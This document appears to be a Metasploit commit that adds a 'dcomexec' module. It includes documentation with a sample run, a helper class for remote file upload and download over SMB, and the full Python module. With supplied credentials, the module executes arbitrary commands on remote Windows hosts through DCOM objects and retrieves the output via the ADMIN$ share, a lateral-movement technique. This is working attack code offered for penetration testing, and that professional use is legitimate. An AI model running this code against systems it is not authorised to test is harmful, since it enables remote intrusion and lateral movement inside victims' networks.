Land #9816, Add the scanner/smb/impacket/dcomexec module
commit
999b895735
|
@ -0,0 +1,105 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
A similar approach to psexec but executing commands through DCOM.
|
||||||
|
You can select different objects to be used to execute the commands.
|
||||||
|
Currently supported objects are:
|
||||||
|
|
||||||
|
1. MMC20.Application (`49B2791A-B1AE-4C90-9B8E-E860BA07F889`)
|
||||||
|
- Tested Windows 7, Windows 10, Server 2012R2
|
||||||
|
1. ShellWindows (`9BA05972-F6A8-11CF-A442-00A0C90A8F39`)
|
||||||
|
- Tested Windows 7, Windows 10, Server 2012R2
|
||||||
|
1. ShellBrowserWindow (`C08AFD90-F2A1-11D1-8455-00A0C91F3880`)
|
||||||
|
- Tested Windows 10, Server 2012R2
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in
|
||||||
|
Python's module path, so `import impacket` works from any directory.
|
||||||
|
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this
|
||||||
|
specific version.
|
||||||
|
1. Start msfconsole
|
||||||
|
1. Do: `use auxiliary/scanner/smb/impacket/dcomexec`
|
||||||
|
1. Set: `COMMAND`, `RHOSTS`, `SMBUser`, `SMBPass`
|
||||||
|
1. Do: `run`, see the command result (if `OUTPUT` is enabled)
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**OUTPUT**
|
||||||
|
|
||||||
|
When the `OUTPUT` option is enabled, the result of the command will be written
|
||||||
|
to a temporary file on the remote host and then retrieved. This allows the
|
||||||
|
module user to view the output but also causes it to be written to disk before
|
||||||
|
it is retrieved and deleted.
|
||||||
|
|
||||||
|
## Scenario
|
||||||
|
|
||||||
|
```
|
||||||
|
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/dcomexec) > show options
|
||||||
|
|
||||||
|
Module options (auxiliary/scanner/smb/impacket/dcomexec):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
COMMAND ipconfig yes The command to execute
|
||||||
|
OBJECT MMC20 yes The DCOM object to use for execution (Accepted: ShellWindows, ShellBrowserWindow, MMC20)
|
||||||
|
OUTPUT true yes Get the output of the executed command
|
||||||
|
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier
|
||||||
|
SMBDomain . no The Windows domain to use for authentication
|
||||||
|
SMBPass wakawaka yes The password for the specified username
|
||||||
|
SMBUser spencer yes The username to authenticate as
|
||||||
|
THREADS 1 yes The number of concurrent threads
|
||||||
|
|
||||||
|
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/dcomexec) > run
|
||||||
|
|
||||||
|
[*] [2018.04.04-17:07:51] Running for 192.168.90.11...
|
||||||
|
[*] [2018.04.04-17:07:51] 192.168.90.11 - SMBv3.0 dialect used
|
||||||
|
[*] [2018.04.04-17:07:51] 192.168.90.11 - Target system is 192.168.90.11 and isFDQN is False
|
||||||
|
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: Windows8VM[55339]
|
||||||
|
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: 10.0.3.15[55339]
|
||||||
|
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: 192.168.90.11[55339]
|
||||||
|
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding chosen: ncacn_ip_tcp:192.168.90.11[55339]
|
||||||
|
[*] [2018.04.04-17:07:52]
|
||||||
|
Windows IP Configuration
|
||||||
|
|
||||||
|
|
||||||
|
Ethernet adapter Ethernet 5:
|
||||||
|
|
||||||
|
Connection-specific DNS Suffix . : foo.lan
|
||||||
|
Link-local IPv6 Address . . . . . : fe80::9ceb:820e:7c6b:def9%17
|
||||||
|
IPv4 Address. . . . . . . . . . . : 10.0.3.15
|
||||||
|
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||||
|
Default Gateway . . . . . . . . . : 10.0.3.2
|
||||||
|
|
||||||
|
Ethernet adapter Local Area Connection:
|
||||||
|
|
||||||
|
Media State . . . . . . . . . . . : Media disconnected
|
||||||
|
Connection-specific DNS Suffix . :
|
||||||
|
|
||||||
|
Ethernet adapter Ethernet 3:
|
||||||
|
|
||||||
|
Media State . . . . . . . . . . . : Media disconnected
|
||||||
|
Connection-specific DNS Suffix . :
|
||||||
|
|
||||||
|
Ethernet adapter Ethernet 4:
|
||||||
|
|
||||||
|
Connection-specific DNS Suffix . :
|
||||||
|
IPv4 Address. . . . . . . . . . . : 192.168.90.11
|
||||||
|
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||||
|
Default Gateway . . . . . . . . . :
|
||||||
|
|
||||||
|
Tunnel adapter isatap.foo.lan:
|
||||||
|
|
||||||
|
Media State . . . . . . . . . . . : Media disconnected
|
||||||
|
Connection-specific DNS Suffix . : foo.lan
|
||||||
|
|
||||||
|
Tunnel adapter isatap.{70FE2ED7-E141-40A9-9CAF-E8556F6A4E80}:
|
||||||
|
|
||||||
|
Media State . . . . . . . . . . . : Media disconnected
|
||||||
|
Connection-specific DNS Suffix . :
|
||||||
|
|
||||||
|
[*] [2018.04.04-17:07:52] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
||||||
|
|
||||||
|
[1]: https://github.com/CoreSecurity/impacket
|
||||||
|
[2]: https://www.dlitz.net/software/pycrypto/
|
|
@ -0,0 +1,112 @@
|
||||||
|
import logging
|
||||||
|
import ntpath
|
||||||
|
import time
|
||||||
|
|
||||||
|
import metasploit.module as module
|
||||||
|
|
||||||
|
OUTPUT_FILENAME = '__' + str(time.time())
|
||||||
|
|
||||||
|
|
||||||
|
def pre_run_hook(args):
|
||||||
|
if 'rhost' in args:
|
||||||
|
module.LogHandler.setup(msg_prefix="{0} - ".format(args['rhost']))
|
||||||
|
else:
|
||||||
|
module.LogHandler.setup()
|
||||||
|
|
||||||
|
class RemoteShell(object):
|
||||||
|
def __init__(self, share, transferClient):
|
||||||
|
self._share = share
|
||||||
|
self._output = '\\' + OUTPUT_FILENAME
|
||||||
|
self._outputBuffer = ''
|
||||||
|
|
||||||
|
self.__transferClient = transferClient
|
||||||
|
self._noOutput = False
|
||||||
|
|
||||||
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
if self.__transferClient is not None:
|
||||||
|
self.__transferClient.setTimeout(100000)
|
||||||
|
self.do_cd('\\')
|
||||||
|
else:
|
||||||
|
self._noOutput = True
|
||||||
|
|
||||||
|
def do_cd(self, s):
|
||||||
|
self.execute_remote('cd ' + s)
|
||||||
|
if len(self._outputBuffer.strip('\r\n')) > 0:
|
||||||
|
self._outputBuffer = ''
|
||||||
|
else:
|
||||||
|
self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))
|
||||||
|
self.execute_remote('cd ')
|
||||||
|
self._pwd = self._outputBuffer.strip('\r\n')
|
||||||
|
self._outputBuffer = ''
|
||||||
|
|
||||||
|
def do_get(self, src_path):
|
||||||
|
try:
|
||||||
|
newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))
|
||||||
|
drive, tail = ntpath.splitdrive(newPath)
|
||||||
|
filename = ntpath.basename(tail)
|
||||||
|
fh = open(filename, 'wb')
|
||||||
|
logging.info("Downloading %s\\%s" % (drive, tail))
|
||||||
|
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||||
|
fh.close()
|
||||||
|
except Exception, e:
|
||||||
|
logging.error(str(e))
|
||||||
|
if os.path.exists(filename):
|
||||||
|
os.remove(filename)
|
||||||
|
|
||||||
|
def do_put(self, s):
|
||||||
|
try:
|
||||||
|
params = s.split(' ')
|
||||||
|
if len(params) > 1:
|
||||||
|
src_path = params[0]
|
||||||
|
dst_path = params[1]
|
||||||
|
elif len(params) == 1:
|
||||||
|
src_path = params[0]
|
||||||
|
dst_path = ''
|
||||||
|
|
||||||
|
src_file = os.path.basename(src_path)
|
||||||
|
fh = open(src_path, 'rb')
|
||||||
|
dst_path = string.replace(dst_path, '/','\\')
|
||||||
|
|
||||||
|
pathname = ntpath.join(ntpath.join(self._pwd,dst_path), src_file)
|
||||||
|
drive, tail = ntpath.splitdrive(pathname)
|
||||||
|
logging.info("Uploading %s to %s" % (src_file, pathname))
|
||||||
|
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
|
||||||
|
fh.close()
|
||||||
|
except Exception, e:
|
||||||
|
logging.critical(str(e))
|
||||||
|
|
||||||
|
def do_exit(self, _):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def onecmd(self, line):
|
||||||
|
self.send_data(line)
|
||||||
|
|
||||||
|
def get_output(self):
|
||||||
|
def output_callback(data):
|
||||||
|
self._outputBuffer += data
|
||||||
|
|
||||||
|
if self._noOutput is True:
|
||||||
|
self._outputBuffer = ''
|
||||||
|
return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
self.__transferClient.getFile(self._share, self._output, output_callback)
|
||||||
|
break
|
||||||
|
except Exception, e:
|
||||||
|
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||||
|
# Output not finished, let's wait
|
||||||
|
time.sleep(1)
|
||||||
|
pass
|
||||||
|
elif str(e).find('Broken') >= 0:
|
||||||
|
# The SMB Connection might have timed out, let's try reconnecting
|
||||||
|
logging.debug('Connection broken, trying to recreate it')
|
||||||
|
self.__transferClient.reconnect()
|
||||||
|
return self.get_output()
|
||||||
|
self.__transferClient.deleteFile(self._share, self._output)
|
||||||
|
|
||||||
|
def send_data(self, data):
|
||||||
|
self.execute_remote(data)
|
||||||
|
if self._noOutput is False:
|
||||||
|
module.log(self._outputBuffer)
|
||||||
|
self._outputBuffer = ''
|
|
@ -0,0 +1,307 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# Copyright (c) 2003-2018 CORE Security Technologies
|
||||||
|
#
|
||||||
|
# This software is provided under under a slightly modified version
|
||||||
|
# of the Apache Software License. See the accompanying LICENSE file
|
||||||
|
# for more information.
|
||||||
|
#
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import string
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
try:
|
||||||
|
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, \
|
||||||
|
IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
|
||||||
|
VARIANT, VARENUM, DISPATCH_METHOD
|
||||||
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||||
|
from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, \
|
||||||
|
OBJREF_CUSTOM, OBJREF_HANDLER, OBJREF_EXTENDED, OBJREF_STANDARD, \
|
||||||
|
FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
|
||||||
|
IRemUnknown2, INTERFACE
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
from impacket.smbconnection import SMBConnection, SMB_DIALECT, \
|
||||||
|
SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||||
|
except ImportError:
|
||||||
|
dependencies_missing = True
|
||||||
|
else:
|
||||||
|
dependencies_missing = False
|
||||||
|
|
||||||
|
import _msf_impacket
|
||||||
|
import metasploit.module as module
|
||||||
|
|
||||||
|
metadata = {
|
||||||
|
'name': 'DCOM Exec',
|
||||||
|
'description': '''
|
||||||
|
A similar approach to psexec but executing commands through DCOM. You
|
||||||
|
can select different objects to be used to execute the commands.
|
||||||
|
''',
|
||||||
|
'authors': ['beto', 'Marcello', 'Spencer McIntyre'],
|
||||||
|
'date': '2018-03-19',
|
||||||
|
'license': 'CORE_LICENSE',
|
||||||
|
'references': [
|
||||||
|
{'type': 'url', 'ref': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'},
|
||||||
|
{'type': 'url', 'ref': 'https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/'},
|
||||||
|
{'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/dcomexec.py'},
|
||||||
|
{'type': 'aka', 'ref': 'dcomexec.py'},
|
||||||
|
],
|
||||||
|
'type': 'single_scanner',
|
||||||
|
'options': {
|
||||||
|
'COMMAND': {'type': 'string', 'description': 'The command to execute', 'required': True},
|
||||||
|
'OBJECT': {'type': 'enum', 'description': 'The DCOM object to use for execution', 'required': True, 'default': 'MMC20', 'values': ['ShellWindows', 'ShellBrowserWindow', 'MMC20']},
|
||||||
|
'OUTPUT': {'type': 'bool', 'description': 'Get the output of the executed command', 'required': True, 'default': True},
|
||||||
|
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
|
||||||
|
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None},
|
||||||
|
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class DCOMEXEC:
|
||||||
|
def __init__(self, command='', username='', password='', domain='', hashes=None, share=None,
|
||||||
|
noOutput=False, dcomObject=None):
|
||||||
|
self.__command = command
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash = ''
|
||||||
|
self.__nthash = ''
|
||||||
|
self.__aesKey = None
|
||||||
|
self.__share = share
|
||||||
|
self.__noOutput = noOutput
|
||||||
|
self.__doKerberos = False
|
||||||
|
self.__kdcHost = None
|
||||||
|
self.__dcomObject = dcomObject
|
||||||
|
self.shell = None
|
||||||
|
if hashes is not None:
|
||||||
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
|
||||||
|
def getInterface(self, interface, resp):
|
||||||
|
# Now let's parse the answer and build an Interface instance
|
||||||
|
objRefType = OBJREF(''.join(resp))['flags']
|
||||||
|
objRef = None
|
||||||
|
if objRefType == FLAGS_OBJREF_CUSTOM:
|
||||||
|
objRef = OBJREF_CUSTOM(''.join(resp))
|
||||||
|
elif objRefType == FLAGS_OBJREF_HANDLER:
|
||||||
|
objRef = OBJREF_HANDLER(''.join(resp))
|
||||||
|
elif objRefType == FLAGS_OBJREF_STANDARD:
|
||||||
|
objRef = OBJREF_STANDARD(''.join(resp))
|
||||||
|
elif objRefType == FLAGS_OBJREF_EXTENDED:
|
||||||
|
objRef = OBJREF_EXTENDED(''.join(resp))
|
||||||
|
else:
|
||||||
|
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
|
||||||
|
|
||||||
|
return IRemUnknown2(
|
||||||
|
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
|
||||||
|
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
|
||||||
|
target=interface.get_target()))
|
||||||
|
|
||||||
|
def run(self, addr):
|
||||||
|
if self.__noOutput is False:
|
||||||
|
smbConnection = SMBConnection(addr, addr)
|
||||||
|
if self.__doKerberos is False:
|
||||||
|
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
else:
|
||||||
|
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||||
|
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
|
||||||
|
|
||||||
|
dialect = smbConnection.getDialect()
|
||||||
|
if dialect == SMB_DIALECT:
|
||||||
|
logging.info("SMBv1 dialect used")
|
||||||
|
elif dialect == SMB2_DIALECT_002:
|
||||||
|
logging.info("SMBv2.0 dialect used")
|
||||||
|
elif dialect == SMB2_DIALECT_21:
|
||||||
|
logging.info("SMBv2.1 dialect used")
|
||||||
|
else:
|
||||||
|
logging.info("SMBv3.0 dialect used")
|
||||||
|
else:
|
||||||
|
smbConnection = None
|
||||||
|
|
||||||
|
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||||
|
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
|
||||||
|
try:
|
||||||
|
dispParams = DISPPARAMS(None, False)
|
||||||
|
dispParams['rgvarg'] = NULL
|
||||||
|
dispParams['rgdispidNamedArgs'] = NULL
|
||||||
|
dispParams['cArgs'] = 0
|
||||||
|
dispParams['cNamedArgs'] = 0
|
||||||
|
|
||||||
|
if self.__dcomObject == 'ShellWindows':
|
||||||
|
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
|
||||||
|
iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
|
||||||
|
iMMC = IDispatch(iInterface)
|
||||||
|
resp = iMMC.GetIDsOfNames(('Item',))
|
||||||
|
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
|
||||||
|
iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
||||||
|
resp = iItem.GetIDsOfNames(('Document',))
|
||||||
|
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
||||||
|
pQuit = None
|
||||||
|
elif self.__dcomObject == 'ShellBrowserWindow':
|
||||||
|
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
|
||||||
|
iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
|
||||||
|
iMMC = IDispatch(iInterface)
|
||||||
|
resp = iMMC.GetIDsOfNames(('Document',))
|
||||||
|
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
||||||
|
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
|
||||||
|
elif self.__dcomObject == 'MMC20':
|
||||||
|
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
|
||||||
|
iMMC = IDispatch(iInterface)
|
||||||
|
resp = iMMC.GetIDsOfNames(('Document',))
|
||||||
|
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
||||||
|
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
|
||||||
|
else:
|
||||||
|
logging.fatal('Invalid object %s' % self.__dcomObject)
|
||||||
|
return
|
||||||
|
|
||||||
|
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
||||||
|
|
||||||
|
if self.__dcomObject == 'MMC20':
|
||||||
|
resp = iDocument.GetIDsOfNames(('ActiveView',))
|
||||||
|
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
||||||
|
|
||||||
|
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
||||||
|
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
|
||||||
|
self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
|
||||||
|
else:
|
||||||
|
resp = iDocument.GetIDsOfNames(('Application',))
|
||||||
|
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
||||||
|
|
||||||
|
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
||||||
|
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
|
||||||
|
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
|
||||||
|
|
||||||
|
self.shell.onecmd(self.__command)
|
||||||
|
except (Exception, KeyboardInterrupt), e:
|
||||||
|
if self.shell is not None:
|
||||||
|
self.shell.do_exit('')
|
||||||
|
logging.error(str(e))
|
||||||
|
|
||||||
|
if smbConnection is not None:
|
||||||
|
smbConnection.logoff()
|
||||||
|
dcom.disconnect()
|
||||||
|
|
||||||
|
|
||||||
|
class RemoteShell(_msf_impacket.RemoteShell):
|
||||||
|
def __init__(self, share, quit, executeShellCommand, smbConnection):
|
||||||
|
self._executeShellCommand = executeShellCommand
|
||||||
|
self._pwd = 'C:\\windows\\system32'
|
||||||
|
self._shell = 'cmd.exe'
|
||||||
|
self.__quit = quit
|
||||||
|
super(RemoteShell, self).__init__(share, smbConnection)
|
||||||
|
|
||||||
|
def do_exit(self, _):
|
||||||
|
dispParams = DISPPARAMS(None, False)
|
||||||
|
dispParams['rgvarg'] = NULL
|
||||||
|
dispParams['rgdispidNamedArgs'] = NULL
|
||||||
|
dispParams['cArgs'] = 0
|
||||||
|
dispParams['cNamedArgs'] = 0
|
||||||
|
|
||||||
|
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
|
||||||
|
return True
|
||||||
|
|
||||||
|
def execute_remote(self, data):
|
||||||
|
command = '/Q /c ' + data
|
||||||
|
if self._noOutput is False:
|
||||||
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
|
||||||
|
|
||||||
|
dispParams = DISPPARAMS(None, False)
|
||||||
|
dispParams['rgdispidNamedArgs'] = NULL
|
||||||
|
dispParams['cArgs'] = 5
|
||||||
|
dispParams['cNamedArgs'] = 0
|
||||||
|
arg0 = VARIANT(None, False)
|
||||||
|
arg0['clSize'] = 5
|
||||||
|
arg0['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg0['_varUnion']['bstrVal']['asData'] = self._shell
|
||||||
|
|
||||||
|
arg1 = VARIANT(None, False)
|
||||||
|
arg1['clSize'] = 5
|
||||||
|
arg1['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg1['_varUnion']['bstrVal']['asData'] = command.decode('utf-8')
|
||||||
|
|
||||||
|
arg2 = VARIANT(None, False)
|
||||||
|
arg2['clSize'] = 5
|
||||||
|
arg2['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg2['_varUnion']['bstrVal']['asData'] = self._pwd
|
||||||
|
|
||||||
|
arg3 = VARIANT(None, False)
|
||||||
|
arg3['clSize'] = 5
|
||||||
|
arg3['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg3['_varUnion']['bstrVal']['asData'] = ''
|
||||||
|
|
||||||
|
arg4 = VARIANT(None, False)
|
||||||
|
arg4['clSize'] = 5
|
||||||
|
arg4['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg4['_varUnion']['bstrVal']['asData'] = '0'
|
||||||
|
dispParams['rgvarg'].append(arg4)
|
||||||
|
dispParams['rgvarg'].append(arg3)
|
||||||
|
dispParams['rgvarg'].append(arg2)
|
||||||
|
dispParams['rgvarg'].append(arg1)
|
||||||
|
dispParams['rgvarg'].append(arg0)
|
||||||
|
|
||||||
|
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
|
||||||
|
0, [], [])
|
||||||
|
self.get_output()
|
||||||
|
|
||||||
|
|
||||||
|
class RemoteShellMMC20(RemoteShell):
|
||||||
|
def execute_remote(self, data):
|
||||||
|
command = '/Q /c ' + data
|
||||||
|
if self._noOutput is False:
|
||||||
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
|
||||||
|
|
||||||
|
dispParams = DISPPARAMS(None, False)
|
||||||
|
dispParams['rgdispidNamedArgs'] = NULL
|
||||||
|
dispParams['cArgs'] = 4
|
||||||
|
dispParams['cNamedArgs'] = 0
|
||||||
|
arg0 = VARIANT(None, False)
|
||||||
|
arg0['clSize'] = 5
|
||||||
|
arg0['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg0['_varUnion']['bstrVal']['asData'] = self._shell
|
||||||
|
|
||||||
|
arg1 = VARIANT(None, False)
|
||||||
|
arg1['clSize'] = 5
|
||||||
|
arg1['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg1['_varUnion']['bstrVal']['asData'] = self._pwd
|
||||||
|
|
||||||
|
arg2 = VARIANT(None, False)
|
||||||
|
arg2['clSize'] = 5
|
||||||
|
arg2['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg2['_varUnion']['bstrVal']['asData'] = command.decode('utf-8')
|
||||||
|
|
||||||
|
arg3 = VARIANT(None, False)
|
||||||
|
arg3['clSize'] = 5
|
||||||
|
arg3['vt'] = VARENUM.VT_BSTR
|
||||||
|
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||||
|
arg3['_varUnion']['bstrVal']['asData'] = '7'
|
||||||
|
dispParams['rgvarg'].append(arg3)
|
||||||
|
dispParams['rgvarg'].append(arg2)
|
||||||
|
dispParams['rgvarg'].append(arg1)
|
||||||
|
dispParams['rgvarg'].append(arg0)
|
||||||
|
|
||||||
|
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
|
||||||
|
0, [], [])
|
||||||
|
self.get_output()
|
||||||
|
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
if dependencies_missing:
|
||||||
|
module.log('Module dependencies (impacket) missing, cannot continue', level='error')
|
||||||
|
return
|
||||||
|
|
||||||
|
_msf_impacket.pre_run_hook(args)
|
||||||
|
executer = DCOMEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
|
||||||
|
share='ADMIN$', noOutput=args['OUTPUT'] != 'true', dcomObject=args['OBJECT'])
|
||||||
|
executer.run(args['rhost'])
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
module.run(metadata, run)
|
Loading…
Reference in New Issue